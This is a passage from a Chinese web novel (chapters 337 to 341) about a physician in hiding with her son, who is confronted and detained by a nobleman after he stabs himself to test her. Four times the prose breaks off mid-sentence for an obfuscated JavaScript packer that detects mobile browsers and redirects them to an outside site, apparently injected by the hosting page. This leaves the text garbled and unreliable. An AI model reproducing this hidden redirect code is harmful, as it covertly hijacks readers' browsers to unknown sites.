她的手僵在半空中,有些尴尬。 气氛瞬间凝固。 萧怀瑾也意识到自己的反应有些过激,但他没有解释,只是生硬地开口:“他没事。” 姜姝宁默默收回手,揣进袖子里,指尖微微蜷缩。 “那萧公子是来……?” “本公子有急事要离开南朔一段时间,想将君儿寄养在你这里几个月。”萧怀瑾开门见山道。 姜姝宁心头一震,猛地愣在原地。 将孩子寄养在她这里? 他怎会如此放心? 就不怕她心怀不轨,趁此机会将孩子带走,从此让他再也寻不到半点踪迹? 还是说……他已察觉了什么端倪,这番举动不过是故意试探她? “萧公子,这……这不合适吧?”她佯装为难道,“我这里只是个药馆,平日里病人来来往往,吵闹不说,万一过了病气给小公子怎么办?而且我一个人,怕是也照顾不过来。” “本王会留下两个乳母和一个护卫。”萧怀瑾打断她的话,语气依旧强硬,“他们负责君儿的日常起居,无需姜女医费心。” 他这话说得极其不客气,似乎她丝毫没有说不的权利。 姜姝宁继续假意推辞:“萧公子,这不是人手的问题。您将君儿托付给我一个外人,总归是不妥的。况且我还有一个药馆要经营……” “无需多言,本王自会付得起相应的代价!”萧怀瑾不待她说完,便从怀中掏出一个厚重的信封,‘啪’地一声掷在桌上,目光冰冷如霜,“这里是五百两银票,想来已是绰绰有余。” 姜姝宁心头莫名地窜起一股火气。 果然是个财大气粗的王爷,这才几天功夫,那副温润如玉的样子就装不下去了。 以为有钱就能为所欲为了是吧? 既如此,那便别怪她借此机会,将她的君儿彻底带离他的掌控! 下一瞬,姜姝宁脸上绽开一个堪称明艳的笑容。 “五百两自然是够的,别说几个月了,就是让我将他养到成人都绰绰有余!”她笑眯眯地将银票揣进怀里,一副心满意足的模样。 萧怀瑾心口一滞,一股莫名的酸涩如藤蔓般缠绕而上。 他神差鬼使地脱口而出:“姜女医,难道除了钱财,你就不想从我这得到别的什么吗?” “萧公子说笑了。”姜姝宁依旧是笑意盈盈,“我不过一个开药馆的女医罢了,能从公子手中得到这么一大笔钱财,已是天降的福分,哪还敢奢望其他?” “那便……有劳姜女医了。”萧怀瑾强自压下心头翻涌的复杂情绪,语气生硬地嘱咐道,“另外,我的身份特殊,若有人问起这孩子,还请女医帮忙掩饰一二。” 姜姝宁十分配合地点头:“萧公子尽管宽心。既收了您的钱财,此事我定会办得滴水不漏,绝不叫您有半分后顾之忧。” 萧怀瑾心头又是一滞,一抹苦涩自嘲在胸中翻涌,似要将他淹没。 他暗暗哂笑,自己究竟在奢望些什么? 还是尽快离开南朔这处是非之地吧,免得再被眼前这女子扰得心神不宁。 萧怀瑾离开后,姜姝宁把小邺君抱在怀里,珍宝失而复得的狂喜袭上心头。 心心念念的儿子,终于回到她身边了! 接下来便是想办法,带着她的君儿离开! —— 与此同时,京城百里之外。 月黑风高,凌芜如同一只灵巧的夜枭,悄无声息地落在屋顶上。 不远处便是那个从景王府掳走假小世子贼人所住的客栈。 她为了得知此人身份,一路南下,紧追不舍。 连日来的风餐露宿,让她有些疲惫,但那双眼眸却愈发锐利。 这男子的身形步法,总给她一种说不出的熟悉感。 许是连日奔波,心神俱疲,姜天泽竟忘了服用续加的易容丸。 他推开窗户,想透一口气,一张在月光下显得过分出挑的脸庞,清晰地映入了凌芜的眼帘。 是他! 凌芜瞳孔骤然一缩,心脏仿佛被一只无形的手攥紧。 姜天泽!姜家三少爷! 她脑中轰然炸响,想起萧凌川提到的——姜姝宁当初诈死,在南月时正是被姜天泽带走的。 一个大胆的念头瞬间袭上心头。 若能留在姜天泽身边,岂不是就能找到王妃的下落? 这个想法一旦冒头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16343736|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,便再也压不下去。 凌芜不再犹豫,身形一动,悄无声息地落在了客栈的后院,径直走向那间亮着灯的客房。 “咚、咚、咚。” 敲门声在寂静的夜里格外突兀。 屋内的姜天泽瞬间警惕起来,他一手抱紧孩子,一手摸向腰间的软剑。 “谁?” 凌芜没有回答,只是又敲了三下。 门“吱呀”一声被拉开一道缝,姜天泽那张俊秀却满是戒备的脸探了出来。 当他看清门外站着的人是凌芜时,那张脸瞬间没了血色。 杀气顿起! 他想也不想,便要合门出手。 可凌芜的动作比他更快。 她手腕一翻,精准地卡住房门,另一只手如鬼魅般探出,只两三下,便将姜天泽刚猛的攻势化解于无形。 他怀里的婴孩睁着一双乌黑的眼眸,惊恐又好奇地看着她。 “三少爷,我们从前交过手,你未必是我的对手。”凌芜的声音很冷,像淬了冰,带着不容置喙的警告。 姜天泽抱着孩子的手臂又紧了几分,他咬着牙,死死盯着她:“你是来要回孩子的?” “不,”凌芜摇头,目光直视着他的眼睛,“我是来找大小姐的。我听说她没死,被你藏了起来。你能带我去见她吗?” 姜天泽的眼神闪烁了一下,随即变得狠厉:“若我说不呢?” 凌芜脸上的表情倏地沉了下去,周身散发出的寒意,几乎能将空气凝结成冰。 “那三少爷,就别想将这孩子带走!” “你敢!”姜天泽额角青筋暴起,怒火中烧。 他抱着孩子的手臂微微一动,另一只藏在袖中的手,正准备将淬了剧毒的粉末撒向凌芜。 电光石火间,凌芜手腕猛地发力,擒住他**的手,只听“咔”的一声轻响,姜天泽痛得闷哼一声,手腕险些被生生折断! 单靠武力,他根本不是凌芜的对手。 即便他用毒,在这样绝对的速度和力量压制下,恐怕也只是两败俱伤的下场。 更何况,他怀里还有个孩子。 他只知道凌芜是姜姝宁身边的贴身侍女,忠心耿耿,并不知她在为萧凌川做事。 若有个会武功的留在姜姝宁身边保护她,也未尝不可。 见他眼中的杀意渐渐被忌惮和犹豫取代,凌芜知道,自己的赌注下对了。 姜天泽挣扎了片刻,终于从牙缝里挤出几个字:“好,我带你去见大姐姐。” 他话锋一转,眼中是毫不掩饰的威胁,“不过,你若敢将我们的行踪告知景王,我发誓,一定杀了你!” 凌芜心中狂喜,面上却不动声色,只是连连点头,摆出一副感激涕零的忠仆模样:“三少爷您放心!只要能让我继续伺候大小姐,我便心满意足了!绝不敢有二心!” 第338章 此人危险至极,绝非善类 第三百三十八章此人危险至极,绝非善类 姜三夫人见姜姝宁抱着个襁褓走了进来,她惊讶地问:“阿宁,这孩子打哪来的?” 姜姝宁压低了声音道:“一个行商的男子,夫人不在身边,他急着回京城办要紧事,实在脱不开身。看我是开药馆的,就想把孩子寄养在我这儿一段时日,等他办完事就回来接。” “胡闹!”姜三夫人眉头紧锁,“怎会有如此不靠谱的父亲?这南朔城里又不是没有专替人看顾孩子的婆子,他怎么偏偏就找上了你?万一……这是他想丢弃孩子的说辞,以后不回来要了,那可如何是好?” 姜姝宁心想,不回来要?那可真是谢天谢地,不跟我抢孩子最好了! 她面上却是一副全然不担心的模样,甚至带着几分得了便宜的窃喜: “哪能呢,夫人您是没瞧见,那商户出手阔绰得很,他对这宝贝儿子很是上心,怕别人照顾不周,临走时塞给我一个沉甸甸的钱袋,说只要我把孩子养得白白胖胖,回来还有重谢。” 她顿了顿,伸手轻轻点了点小邺君的鼻尖,语气愈发轻松,“再说了,这孩子生得玉雪可爱,帮他带带,顺便赚点银钱,不是挺好的嘛。” 姜三夫人看着她怀里那粉雕玉琢的婴孩,再看看姜姝宁眼角眉梢藏不住的喜爱,心头那股不安非但没有消散,反而愈发浓重。 她想起至今杳无音信,专程去京城为姜姝宁寻找亲生骨肉的儿子姜天泽,忍不住叹了口气。 “不是自个儿身上掉下来的肉,再可爱又有什么用?你如今是瞧着新鲜,往后若有了你自己的孩子,哪还有精力去照看别人家的?” 姜姝宁心想,还真是巧了,她照顾的这个,正是自己的孩子。 她敛去眼底一闪而过的情绪,若无其事地笑了笑,岔开了话题:“夫人,我瞧着库房里那几味常用的药材快见底了,不如……我出城一趟,去临近的镇上采购些新的回来?” “出城?”姜三夫人立时警惕起来,“如今南朔封锁,盘查得紧,要出去怕是不容易。” “无妨的,”姜姝宁早已想好了说辞,“我今天听街口‘回春堂’的伙计说了,像咱们这种采买药材、食材的,只要备好文书,去衙门递交了申请,核实之后便可放行。夫人,要不……您把我的路引给我,我明儿一早就去衙门问问看。” 她思忖着,只要拿到路引,她就能带着小邺君顺理成章地离开。 姜三夫人的眼神明显闪躲了一下:“采购药材这种事,不着急。还是……等天泽回来再处理吧!” 姜姝宁的心沉了下去。 很显然,姜三夫人防着她,就像防着一只随时可能飞走的鸟。 没有路引,她就算侥幸逃出南朔,也寸步难行。 正当她满心苦恼,思索着还有什么法子能弄到路引时,院门外忽然传来一阵鼎沸的喧哗。 那声音由远及近,嘈杂刺耳,夹杂着女人的尖叫声和孩子的哭嚎,还有兵器甲胄碰撞的金属声。 姜姝宁心头一紧,快步走到窗边,将窗户推开一条缝隙。 只见黑沉沉的巷子里,火光冲天。 无数手持火把的官兵如狼似虎,正粗暴地挨家挨户砸门。 火光映照在他们冷硬的盔甲上,反射出森然的寒光。 “开门!官府核对户籍,清查人口!所有人都出来!”一个头目模样的人正扯着嗓子大吼,声音在寂静的夜里传出老远。 听到这声嘶吼,姜三夫人的脸“唰”一下就白了。 她几步冲到姜姝宁身边,一把抓住她的手腕,声音抖得厉害:“阿宁,待会儿若有人问起,你千万要遮掩一二,千万……不能让他们查到我们的身份……” 她的话还没说完,“砰”的一声巨响,本就虚掩着的院门被人一脚踹开! 一个满脸横肉的官兵提着火把闯了进来,火光在他脸上跳跃,显得格外狰狞。 他用那双被熏得发红的眼睛恶狠狠地扫视着屋内,厉声喝道:“磨磨蹭蹭的干什么!屋里住的是何人,统统出来确认身份!” 这突如其来的吼叫和巨响,将熟睡的小邺君猛地惊醒。 “哇——” 他瘪着小嘴,放声大哭起来,手脚并用地往姜姝宁怀里钻,小小的身子抖个不停。 “别怕,别怕,阿娘在。”姜姝宁心疼地将他紧紧抱在怀里,一边轻拍他的后背,一边用冰冷的眼神瞪了那官兵一眼。 她抱着小邺君,和脸色惨白的姜三夫人,一前一后从屋里走了出来。 院子里已经站满了官兵,火把将不大的院落照得亮如白昼。 就在这时,人群自动向两边分开。 一个身着墨色云纹锦袍的男子,在一众身披铠甲的兵士簇拥下,缓步向她们走来。 他身姿挺拔,面容俊美如画,只是那双深邃的眼眸里,没有半分温度,比深秋的夜露还要寒凉。 他停在几步之外,目光淡淡地从姜三夫人身上掠过,最后落在了抱着孩子的姜姝宁身上。 “你就是‘幼安堂’的女医?” 他的声音清冷如玉石相击,在这喧闹的夜里,清晰地传入每个人耳中。 姜三夫人的身体控制不住地一晃,险些栽倒在地。 她的嘴唇瞬间没了血色,一双眼睛惊恐地瞪着来人。 怎么会是他? 这个煞神,怎么会亲自跑到南朔这种边陲小城来? 姜姝宁对眼前的男人全然无印象,但她能感觉到姜三夫人对他的恐惧。 她心中暗自揣测,这男子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16343737|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不仅身份非比寻常,只怕与她们从前还有过什么纠葛。 好在她与姜三夫人一直按时服用易容丸,容貌早就跟从前大相径庭,料想他目光再锐利,也不可能识破她们的伪装。 想到这,姜姝宁稳住心绪,递给姜三夫人一个安抚的眼神。 她深吸一口气,屈膝行礼,声音嘶哑而卑微:“民女……正是。” 她的声音经过刻意的改变,变得粗嘎难听,与平日清脆悦耳的嗓音判若两人。 萧凌川的目光在她身上停留了片刻,那眼神锐利如刀,仿佛要将她从里到外刮一遍。 姜姝宁能感觉到,那视线在她抱着孩子的双臂上停顿了一瞬。 她的心跳漏了一拍。 虽然暂时想不起眼前男人的任何事情,但本能告诉自己,此人危险至极,绝非善类。 “抬起头来。”他命令道,语气里带着不容抗拒的威严。 姜姝宁的指甲深深掐进掌心,用疼痛来维持着表面的平静。 她缓缓抬起头,目光却落在地面,不敢与他对视。 萧凌川目光在她脸上打量了片刻,这张面容平平无奇,毫无出彩之处,与他记忆中的姜姝宁没有半分相像之处。 这就是萧怀瑾在南朔频频接触的女医? “你怀里抱的什么?”他的声音再次响起,这次,目标明确地指向了她怀中的小邺君。 姜姝宁的心脏狂跳不止:“回……回大人的话,这是……民女的孩子。” “哦?”萧凌川拖长了语调,那一个字里蕴含的审视和怀疑,像一只无形的手,紧紧扼住了姜姝宁的喉咙,“这当真是你的孩子?那你夫君呢?” “他出城采购药材去了,尚未归来。” 眼前的男人压迫感太强,姜姝宁几乎用尽了全身的力气,才让自己的声音听起来不那么颤抖。 “你叫什么名字?”萧凌川的声音冷如寒冰,步步紧逼,不给她丝毫喘息的余地。 “民女……民女姓江,单名一个书字。”她硬着头皮报上姜三夫人早已为她伪造好的身份,掌心却不自觉地攥紧,指尖几乎嵌入肉中。 “姜?”萧凌川挑了挑眉,“哪个姜?” “大海江河的江,大人。”姜姝宁低声答道,额角已渗出细密的冷汗。 明明只是再寻常不过的问话,她却有种被盘问的压迫感。 他没吭声,只是盯着她,眼神像毒蛇,阴恻恻缠上来。 姜姝宁头皮发麻,怀里的小邺君或许是被这压抑的气氛所惊,或许是感受到了母亲的恐惧,突然“哇”的一声哭了出来。 孩子的哭声清亮,在这死寂的夜里,显得格外突兀。 萧凌川的目光,瞬间从姜姝宁的脸上,移到了那张哭得通红的小脸上。 第339章 试探她的医术 第三百三十九章试探她的医术 萧凌川虽从未见过自己的亲生骨肉,但小邺君眉眼间隐隐透着几分姜姝宁的影子,若细细端详,怕是难逃他的法眼。 姜姝宁察觉到他那审视的目光落在小邺君脸上,忙不迭地调整姿势,将孩子的脸紧紧埋入自己胸口,不留半分可窥探的缝隙。 “这孩子几个月了?叫什么名字?”萧凌川的声音低沉而冰冷,似闲聊,又似步步紧逼的试探。 “回大人,孩子快九个月了!”姜姝宁硬着头皮答道,故意将月龄说大了一个月,声音却不自觉地微微发颤。 她强撑着笑意,接着补上一句:“他尚未正式取名,小名叫狗蛋,取个贱名好养活些。” “有趣。”萧凌川忽地笑了,笑声低沉,透着股说不出的诡异,“这小家伙看着眼熟,抱过来,让本官瞧瞧。” 姜姝宁咬紧下唇,强装镇定,声音却抖得不成样:“大人,这孩子胆小,怕生,您这样,会吓到他的……” “怕生?”他冷嗤一声,眼中闪过抹不耐,径直伸手朝小邺君探来。 姜姝宁心头一慌,本能后退一步,紧紧护住孩子。 这一退,院子里气氛骤然剑拔**张。 周围官兵齐齐握紧兵器,目光如狼盯着姜姝宁。 姜姝宁不敢再退,只能僵硬站着,眼睁睁看着他的手靠近小邺君。 他的手指修长,骨节分明,带着股莫名压迫感。 就在指尖快触到小邺君脸颊时,孩子突然一扭头,哇哇大哭,小手胡乱拍打,愣是避开他的触碰。 萧凌川手一顿,眼中闪过抹复杂神色,似是意外,又似是隐隐怒意。 姜姝宁心提到了嗓子眼,忙抱紧孩子轻拍,嘴里安抚着:“乖,乖,别闹。” 他收回手,目光却愈发阴鸷,像是能将她连皮带骨看穿。 她强撑着笑,额角冷汗直淌。 这人究竟是谁? 为何这般揪着自己不放? “大人,孩子都长得相似,您觉得狗蛋眼熟,并不奇怪……”姜姝宁还想混淆视听,可他摆手打断,语气冰冷:“罢了,既然你的孩子不愿让本官抱,本官也不勉强。你既是女医,想必治病救人颇有一套?” 姜姝宁愣了一下,不明所以,只得硬着头皮点头:“略、略懂几分。” 他嘴角微扬,笑意却冷得刺骨。 “好。既如此,随本官走一趟,有人正等着你救命。” 救命? 姜姝宁脑中一懵,心底陡然升起股不祥预感。 他这是什么意思?带她走?去哪? 莫非是借口,要将她扣下? 可若不从,只怕当场翻脸,后果更糟! 姜三夫人急了,忙插话:“大人,她只是个普通女医,哪敢担此大任?不如另寻他人?” 萧凌川冷哼一声,斜睨她一眼,语气满是讥诮:“怎么,怕本官吃了她?还是说,她身上有什么见不得人的秘密,怕被本官发现?” 姜三夫人语塞,脸色青白交加。 姜姝宁心底乱糟糟,抱着小邺君的手指微微发颤。 去,还是不去? 这根本不是选择,是刀架在脖子上! “大人,民女技艺浅薄,怕误了大事……”姜姝宁试着推脱,可他压根不听,径直转头朝副将吩咐:“带人,即刻启程。” “是!”副将应声,朝姜姝宁走来,眼神冰冷,不容反抗。 姜姝宁心底一沉,彻底没了退路。 小邺君还在哭,声音断断续续,揪得她心都碎了。 她低头亲了亲他额头,正准备将他交给姜三夫人,萧凌川忽然转过头来,唇角扯出一抹意味深长的弧度:“怎么,这不是你的孩子吗?不带他走?” 姜姝宁一噎:“民女……怕吓到他,还是将他留在婆母身边照顾好些。” 其实她是怕他看清小邺君的脸,认出他的身份。 萧凌川没再多言,只冷冷丢下一句:“走吧,莫让本官等太久。” 姜姝宁咬紧牙,将小邺君交给姜三夫人,带上药箱,跟在官兵身后踏出院门。 姜三夫人抱着孩子站在原地,眼神复杂。 夜风微凉,火把摇曳,映得人影忽明忽暗。 萧凌川走在最前,背影高大,气场压得人喘不过气。 姜姝宁心乱如麻,脑中只有一个念头:他到底想做什么? 这一趟,是福是祸? 马车在南月府衙门口停下,萧凌川一言不发,领着她穿过戒备森严的前堂,径直往内院走。 姜姝宁不安到了极点,每一步都踩在刀尖上。 他推开一间厢房的门,侧身让她进去。 姜姝宁迟疑地踏入,目光迅速扫过四周。 房内陈设简单,一张床,一张桌,几把椅子,再无他物。 烛火摇曳,将他的影子拉得又长又扭曲,像个择人而噬的怪物。 她攥紧了药箱的提手,指节因用力而泛白。“大人,您是准备让民女医治何人?” 萧凌川转身,关上房门,发出“吱呀”一声轻响,像是一道无形的枷锁落下。 他走到桌边,慢条斯理地解下腰间的佩剑,随手搁在桌上,发出清脆的“当”的一声。 “本官。”他开口,声音冷得像冰碴子。 姜姝宁懵了。 她上上下下打量他,他身姿挺拔,气息平稳,除了脸色臭了点,哪有半分病容? “大人看起来……不像需要救命的样子!” 她话里带着一丝自己都没察觉的警惕和恼怒。 这人把她从家里强行带来,就是为了耍她玩吗? 萧凌川没说话,那双深邃的桃花眼里却翻涌着她看不懂的墨色。 他忽然从靴中抽出一把寒光闪闪的**,姜姝宁还没来得及反应,他握着**的手猛地抬起,毫不犹豫地、狠狠地扎向自己的左胸! “噗嗤——” 利刃入肉的声音清晰得令人毛骨悚然。 鲜血瞬间喷涌而出,迅速浸透了他墨色的锦衣,晕开一团更深的、触目惊心的黑。 姜姝宁被这突如其来的一幕惊得脸色煞白,呼吸都停滞了。 他脸上竟没有一丝痛苦,反而勾起一抹诡异至极的笑。 “现在,本官需要了。”他的声音平静无波,仿佛受伤的不是自己。 这一刻,有两个字差点从她嘴里脱口而出——疯子! 甚至腾升起撒腿就逃的冲动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350776|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 可她毕竟是个大夫,做不到见死不救。 她迅速打开药箱,拿出剪刀,以最快的速度剪开他胸前的衣料。 衣衫破开,露出下面血肉模糊的伤口。 **还插在上面,血正汩汩地往外冒。 姜姝宁飞快确认了**刺中的位置——还好,偏了几寸,没有直接刺中心脉。 可这血要是再这么流下去,神仙也难救。 她下意识就想去拿药箱里的银针包,想先为他施针封穴止血。 可她的手刚碰到那熟悉的布包,忽然感觉到一道炙热的、审视的目光落在自己身上。 姜姝宁心中咯噔一声,动作僵住了。 他做出如此匪夷所思的举动,难道是为了试探她的医术? 她虽然忘了许多事,却很笃定自己是会施针的。 在镇上,她曾帮几个腹痛绞肠的孩子施过几次针,孩子的亲属无不感激涕零,夸她年纪轻轻,竟有如此精湛的医术。 放眼整个南朔城,会施针的医者寥寥无几,就算有,也都是些胡子花白的老头子。一个年轻女子拥有这般医术,本就惹眼。 若是在此时、在此地,在这个疯子面前暴露自己会针法……他会不会立刻就将她和某个他记忆中的人对上号? 这个险,她不能冒! 想到这,姜姝宁心一横,咬了咬牙,硬生生将手从针包上移开,换了种笨拙的方式去翻找金疮药和纱布。 **扎得不浅,不**,血永远止不住。 姜姝宁从药箱里拿了块干净的布,递到他嘴边,强迫自己声音平稳:“大人,待会拔刀时,可能会有些疼,你咬住这个,忍一忍。” 萧凌川垂眸,看着她递过来的布,再看看她额角沁出的细密冷汗,眼神晦暗不明。他一双桃花眼直勾勾地盯着她,像是要将她的灵魂都看穿。 “你不封住本官的血脉,就要给本官拔刀?”他开口,语气里带着一丝嘲弄,“你就不怕本官一口气没上来,晕死过去?” 姜姝宁心头猛地一跳。 他果然是在试探她! 封住血脉,除了用针,别无他法。 她脸上立刻挤出惶恐不安的神情,声音都带上了哭腔:“大人,民女……民女不会什么封住血脉的法子啊!要不……大人您还是另请高明吧!” “无妨。”萧凌川却截断了她的话,目光沉沉地看着她,吐出几个字,“本官信得过你。” 这哪里是信得过,这分明是拿命在逼她! 姜姝宁深吸一口气,心中一股无名火混着寒意窜了上来。 你自己找死,那就别怪我了! 若真晕死过去,也全是你自找的! 她不再犹豫,一手按住他的肩膀,另一只手紧紧扣住那沾满鲜血的刀柄,心一横,猛地用力,将**拔了出来! “唔……” 一股难以言喻的剧痛瞬间炸开,像是要将他的胸膛撕裂。 饶是萧凌川这般能忍的人,也忍不住发出一声闷哼,额上青筋暴起。 他眼前猛地一黑,所有的气力仿佛都在这一瞬间被抽空。 强撑的身体再也支撑不住,竟直挺挺地朝着前方栽了过去。 “大人……” 第340章 恩将仇报 第三百四十章恩将仇报 姜姝宁刚丢开**,还没来得及拿药,一个沉重的、带着浓重血腥味的身体就这么压了过来。 她被撞得一个趔趄,下意识地伸手去扶,却被他整个人的重量压得跌坐在地。 他高大的身躯结结实实地栽在她怀里,滚烫的额头抵着她的颈窝,灼热的呼吸喷洒在她的肌肤上,带着铁锈般的血气。 她用尽全身力气,才勉强撑住他,不让他滑落在地。 顾不上喘口气,姜姝宁立刻俯身探向他的颈侧。 指尖触及的皮肤冰凉湿滑,全是冷汗。 脉搏微弱而急促,像风中残烛,随时可能熄灭。 他的脸色在摇曳的烛火下白得像纸,嘴唇毫无血色,那双总是盛满冰冷与嘲弄的桃花眼紧紧闭着,长而密的睫毛在眼下投出一片脆弱的阴影。 他不是装的。 这个念头让姜姝宁手脚冰凉。 他真的为了试探她,把自己搞到了生死边缘。 一股无名火混杂着彻骨的寒意从脚底窜上天灵盖。 她死死瞪着他那张因为失血而显得格外苍白的俊脸,真想就这么掉头走掉,让他自生自灭。 可医者的本能让她无法对伤者坐视不理。 她飞快地打开药箱,取出金疮药、干净的纱布和烈酒。 不用银针封穴,她只能用最原始也最痛苦的法子。 她拧开酒壶,看了一眼他胸口那道还在汩汩冒血的伤口,毫不犹豫地将烈酒淋了上去。 “唔……” 昏迷中的男人发出一声痛苦的闷哼,身体猛地抽搐了一下,眉头死死拧成一个疙瘩。 姜姝宁没理会,动作利索地将厚厚的金疮药粉末倒在伤口上,药粉一接触到鲜血,立刻被染成暗红色。 血流的速度总算慢了下来。 她这才松了口气,拿起纱布,开始一圈一圈地为他包扎。 整个过程,姜姝宁始终紧绷着脸,神情专注而冰冷,试图用这份刻意的漠然,压住心中翻涌的复杂情绪。 可当她的指尖不可避免地触碰到他温热的胸膛时,那结实紧致的触感,还是让她心头一跳。 她强迫自己移开视线,不去看来人因疼痛而紧绷的身体线条,不去想他醒来后会如何。 他为什么要这么做? 仅仅是为了试探她会不会那几手针法? 自己何德何能,竟能让这样一个心思叵测的男人,用自残的极端方式来逼迫她露出马脚? 无数个疑问像疯长的藤蔓,缠得她几乎喘不过气来。 她手上动作加快,将纱布的尾端打上一个死结。 做完这一切,她才发现自己早已出了一身冷汗,后背的衣衫都湿透了。 她直起身,看着躺在地上那个气息虽然平稳了些,但依旧昏迷不醒的男人,心乱如麻。 现在怎么办? 就这么守着他?等他醒来? 还是趁他昏迷,赶紧逃走? 就在这时,门毫无征兆地被人从外面一把推开,发出“砰”的一声巨响。 一个身着玄甲、风尘仆仆的副将闯了进来,身后还跟着一脸惶恐的县令。 副将的目光在屋内飞快扫过,当他看见躺在地上昏迷不醒、胸口缠着带血纱布的萧凌川,以及站在一旁,手上、衣袖上都沾着血迹的姜姝宁时,瞳孔骤然一缩。 那眼神,像是看见了弑君的逆贼。 “你!” 寒光一闪,还不等姜姝宁反应,那副将已一个箭步冲到她面前。 冰冷坚硬的剑锋瞬间贴上了她的脖颈,刺骨的凉意让她浑身的血液仿佛凝固。 “你对大人做了什么?!”副将声音低沉嘶哑,像一头被激怒的野兽,每个字都带着浓烈的杀意。 姜姝宁双腿一软,整个人“扑通”一声瘫坐在地上。 完了。 这浑身是嘴也解释不清了! “不……不是我……”她的声音抖得厉害,几乎不成调,“是大人他……他为了试探民女的医术,故意扎伤自己的!” “住口!”副将厉声喝断她的话,握着剑柄的手又紧了几分,“大人身份何等尊贵,会为了试探你的医术,把自己捅成这样?简直是无稽之谈!” 姜姝宁心头一凉,知道跟眼前这个莽夫说不通道理。 她将求助的目光投向一旁吓得脸都白了的县令,挣扎着挪动膝盖,跪倒在县令面前。 “大人!请大人明察!民女与这位大人素昧平生,今日才是初见,又怎会无缘无故地出手伤他?” 县令皱紧了眉头,神色凝重。 这姜女医,他有所耳闻。 自打她来南朔开了这家专给孩子看病的药馆,积攒了不少好名声。 城里谁家孩子有个头疼脑热,都爱往她这儿送。 人人都说她医术高明,心肠又好,平日里说话都是温声细语的,最是讨孩童喜欢。 这样的女子,没有理由刺杀一个身份尊贵的王爷。 县令定了定神,小心翼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350777|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翼地对那副将拱了拱手:“将军,您看这当中会不会有什么误会?这位姜女医……她平日里专程给孩童看诊,别说伤人了,就是大声说话都少见。再说,她一个女子,手无缚鸡之力,想来……想来也不可能伤得了景……景大人啊!” 他一时情急,差点把萧凌川的身份说漏了嘴,吓得连忙改口。 姜姝宁见县令居然肯为自己说话,连忙磕头道:“真的不是民女伤的景大人!求大人和将军放民女回去吧!民女家中还有幼儿,尚在襁褓,实在没法继续在此逗留啊!” 那副将闻言,眼神闪烁了一下。 县令的话和姜姝宁的哭求,让他那被怒火冲昏的头脑冷静了些许。 他仔细打量着姜姝宁,瘦弱的肩膀,苍白的脸,哭得红肿的眼睛,怎么看都不像个能制服自家大人的凶徒。 况且,他看了一眼地上,萧凌川的伤口确实被仔细处理过,手法瞧着很专业。 若她真是凶手,为何还要费心救治? 直接一走了之,岂不更干净利落? 他眼中的杀意渐渐褪去,神色有几分松动。 就在这剑拔**张的气氛稍有缓和,姜姝宁心中燃起一丝希望的火苗时,躺在地上那个本该昏死过去的男人,忽然发出了一声微弱的呻吟。 他长长的睫毛颤了颤,竟缓缓睁开了眼睛。 “大人!您终于醒了!”姜姝宁又惊又喜,“您快告诉县令大人和这位将军,不是民女伤的您!” 然而,萧凌川那双迷蒙的桃花眼,目光涣散地扫过屋子,最后落在副将的脸上。 他艰难地抬起手,笔直地指向瘫坐在地上的姜姝宁。 声音低哑得仿佛是从喉咙深处碾磨出来的:“这个女人……” “……绝不能,放她走!” 话音刚落,他抬起的手无力地垂下,眼睛一闭,头一歪,便又彻底昏睡了过去。 整个房间,死一般的寂静。 姜姝宁脸上的表情凝固了,她难以置信地看着萧凌川,大脑一片空白。 他在说什么? 为什么不能放她走? 副将看向姜姝宁的目光瞬间变得凌厉起来。 他缓缓收回长剑,声音冷得像冬月的冰碴子。 “姜女医,看来,你今夜怕是不能离开这里了。” 姜姝宁浑身发抖,她死死瞪着地上那个面色苍白的男人,眼底的怒火几乎要喷薄而出。 这个混蛋!疯子! 他怎么能如此恩将仇报! 第341章 她将他的喜好忘得一干二净! 第三百四十一章她将他的喜好忘得一干二净! 萧凌川昏迷了一夜,姜姝宁也在屋里枯坐了一夜。 副将怕她伤害萧凌川,还用铁链将她锁在桌边。 